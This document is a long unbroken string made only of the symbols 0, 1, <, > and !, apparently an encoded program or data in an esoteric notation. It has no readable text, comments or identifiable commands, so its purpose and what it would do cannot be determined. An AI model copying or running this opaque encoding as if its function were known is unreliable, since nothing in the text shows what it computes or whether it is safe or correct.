0111>01!1!1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!1!1!1!1!1!10110><>1!<>1!1!1!1!10110>1!<>1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!1!1!1!1!1!10110>1!1!1!1!1!10110><>1!<>1!<>1!<>1!1!1!1!1>0>1>0><>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!10110><>1!<>1!1!1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1>0><>1!10110><>1!<>1!1!1!1!1!1!10110><>1!1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!<>1!<>1!<>1!1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!<>1!<>1!1!1!1!101101010111>01>0>1!1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!<>1!<>1!<>1!1!1!1!10110>1!<>1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1!10110>1!1!1!1!1!101101010111>010110>1!1!1!1!1>0>1>0><>1!10110><>1!1!1!1!1>0>1!10110><>1!<><>1!1!1!1!1!10110>1!1!<>1!<>1!<>1!<>1!<>1!<>1!1!1!1!1>0>1!10110><>1!<>1!1!1!1!1>0>1>0><>1!10110><>1!<1010111>01!<>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!<>1!<>1!<>1!<>1!<>1!<>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!<>1!<>1!<>1!<1010111>01!<>1!<>1!<>1!<>1!<>1!<>1!<>1!<>1!1!1!<>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!<>1!<1010111>01!1!1!<>1!<>1!<>1!<>1!1!1!1!1!1!10110><>1!<><>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!101101010111>01!1>0>101101010111>01!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<1010111>01!<>1!<>1!1!1!<>1!<>1!1!1!1!10110>1!<>1>0>1!1!1!1!1>0>1>0><>1!10110><>1!<>1!1!1!1!1!1!1!<>101101010111>01!1!1!1!1!10110>1!1!<>1!1!1!1!1>0>1>0><>1!10110><>1!<>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1!101101010111>01!1!1>0>1!<>1!1!1!1!1>0>1!10110><>1!<>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!<>1!<>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!10110>1!<>1>0>1!1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!10110>1!<1010111>01!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!10110>1!<>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!10110>1!1>0><>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!<>1!1>0>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!10110>1!1>0><>1>0>1!1!1!10110>1!1>0><>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!1!1!1!1!1!1!<>1!1!1!<>1>0>1!1!1!1!1>0>1!<>1>0>1!1!10110>1!10110>1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!<>1!1>0>1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!<>1!1!<>10110>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1!1!1!<>1!1!1!1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!10110><>1!1>0>1!1>0>1!1!1!<>1!1!1!1!1!<>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1!1>0>10110>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!1!<>1>0>1!1>0>1>0>1010>010110>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!<>1!1>0>1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0><>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1!1!1!<>1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!<>1!1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!<>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!1>0><1010111>01!1>0>1>0>1!10110>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!<>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!<>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!1!<>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!<>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!1!<>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!<>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1>0><>1!<>1>01010111>01!1!1>0>1!1!1!1>0>1!1!<>1!1>0><1010111>01!<>1>0>1!1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!10110>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1!<>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1!1!1!1!1!1!<>1!1!1>0>1!1>0><>1!1!1!1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!<>1>01010111>01>0><>1!1!1>0>1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1>0>1!1!1>0>1>0>1!1>0><>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!1!1!<>1!1!1>0>1!<>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1!1>0>1>0><>1!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1!1>0>1!1>01010111>01!10110><1010111>01!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!<>1!<>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0><>1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1!1!1!1>0>10110>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0><>1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1!1>0>1!1>0>10110>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1>0>1>0><>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1!1!1!10110>1!<1010111>01!1!1!1!1!1!1!1!<>1!1>01010111>01!1!1>0>1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!<>1!1!1010>01>0>1>0><>1!1!1!1!1>0>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!<>1>01010111>01!1>0>1!1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1010>01>0>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1!101101010111>01!1!1!1!1!<>1!1!1>0>1!1>01010111>01>0><>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!10110>1!1!1!1!1!101101010111>01!1!1!1!1!1!1!1!<>1!1>0>1!1!<>1!<>1!1!1!1!1!101101010111>01!1!1!1!1!<>1!1!1>0>1!1>01010111>01>0><>1!10110>1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0><>1>0><>1!1>0>1>0>1!10110>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>10111>01>0>1!<>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1>0>1!1>0>1>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1010>01>0>1!<>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1>0>1!1!1>01010111>01!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1>01010111>01>0><>1!10110>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!101101010111>0<>1!1!1!1!1!1!<>1!1!1!1!1>01010111>01!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>01010111>01>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!<>1!1!1!1!1>01010111>01>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!101101010111>10111>01>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!101101010111>01!1>0>1!1>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0><><>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!<>1!1>0>1!1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>01010111>01!10110>1!1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0><>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!<>1!1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!<>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!<>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>01010111>01!1>0>1!10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>01010111>01!1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1010>01>01010111>01>0><>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1>0><>1!1!1!1!1010>01>0>1>0><>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!101101010111>01!1!10110>1!1!1!1>0>1!1!1>0>1!1!1!1010>01>0><><>1!<>1!1!1!1!1!1!<>1!1!1!1!1>01010111>01!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!<1010111>01!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0><>1!1!1!1!1!1!<>1!1!1!1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1!<>1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!<>1!1>0>1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!<>1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!<>1!1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1!1!1>0>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1!<>1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1!1!1!1!10110>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!<>1>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1!1>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!<>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!<>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1!1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!1!1!1!1!1!<>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<>1!<>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!<>10110>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0><>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!101101010111>0<>1!1>0>1!10110>1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!<><>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0><><>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0><>1>0><>1!10110>1!1!1!1!1>0>1>01010111>01>0>1!1!1!<>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!<>1!1!1!1!1>0>1!10110>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>01010111>01>0><>1!1>01010111>01!10110>1!1!1!1!1>0>1>01010111>01>0><>1!1!1>01010111>01>0><>1!1!1!<>1>0>1!1!1!1!1>0>1>0><>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!<>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!<>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!<>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!<>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!<>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!<>1>01010111>01!1!1>0>1!1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!1!1!101101010111>01>0><>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>01010111>01>0>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!<>1!1!10110>1!1!<>1!1!1!1!1>0>1>0><>1!1!1!1!1!1!<>1!1!1!1!1>0><>1!1!1!1!<>1!1!1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!<>1!1!1!1!1>0>1!1>0>10110>1!1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1!1>0>1!<>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0><>1!1010>01>0>1!1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!1>0>1!1>01010111>01!1!10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0><>1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!10110>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!101101010111>01!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1!10110>1!1!1!1!1!1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1!1!1>0>1!1>0>1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1!1>01010111>01>0>1!1!1!<1010111>01!<>10110>1!1!1!1!1!1!<>10110>1!1!1!1>0>1!1!<>10110>1!1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01>0>1!1!1!1!<1010111>01>01010111>01>0>1!1!<>1!<1010111>01!1!1!1!1!1!1!1!<>1!1>01010111>01>0><>1>0>1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1>0><>1>0>1!1!<>1!1!1!1!1!1!1!<>10110>1!1!1!1>0>1!<>1>0><>1!1!1!1!1!<><>1!1!1!1!1>0>1>0><>1>0>1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1>0>1>0><>1!10110>1!1!1!1>0>1>0><>1!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!<1010111>01>0>1!1!<>1!1!1!1!1>0>1>0><>1>0>1!1!1!1!1!1!1!1!1!<>1>01010111>01>0>1!1!1!<>1!<>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1!1>0>1>0>1!<>1!1!1!1!1!1!1!1!1!1!<>1!<1010111>01>0>1!1!1!1!1!1!1!1!<>10110>1!1!1!1>0>1!1!<>10110>1!1!1!1!10110><><>1!1!1!1!<>1!1!1!1!1>0>1!1>01010111>01>01010111>01>0>1!1!1!<>1!1!1!1!1!1!1!<>10110><><1010111>01!1!1!1!1!<>1!1!1!1>0>1!1!1>01010111>01>0><>1>0>1!1!<>1!1!1!1!1>0>1!1>01010111>01!10110><><>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!<>1!1!1!1!1!1!1!<>10110><>1>0>1!1!1!1>0>1!1!1!1>0>10110>1!<>1!1>0>1!1!1>01010111>10111>01!1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1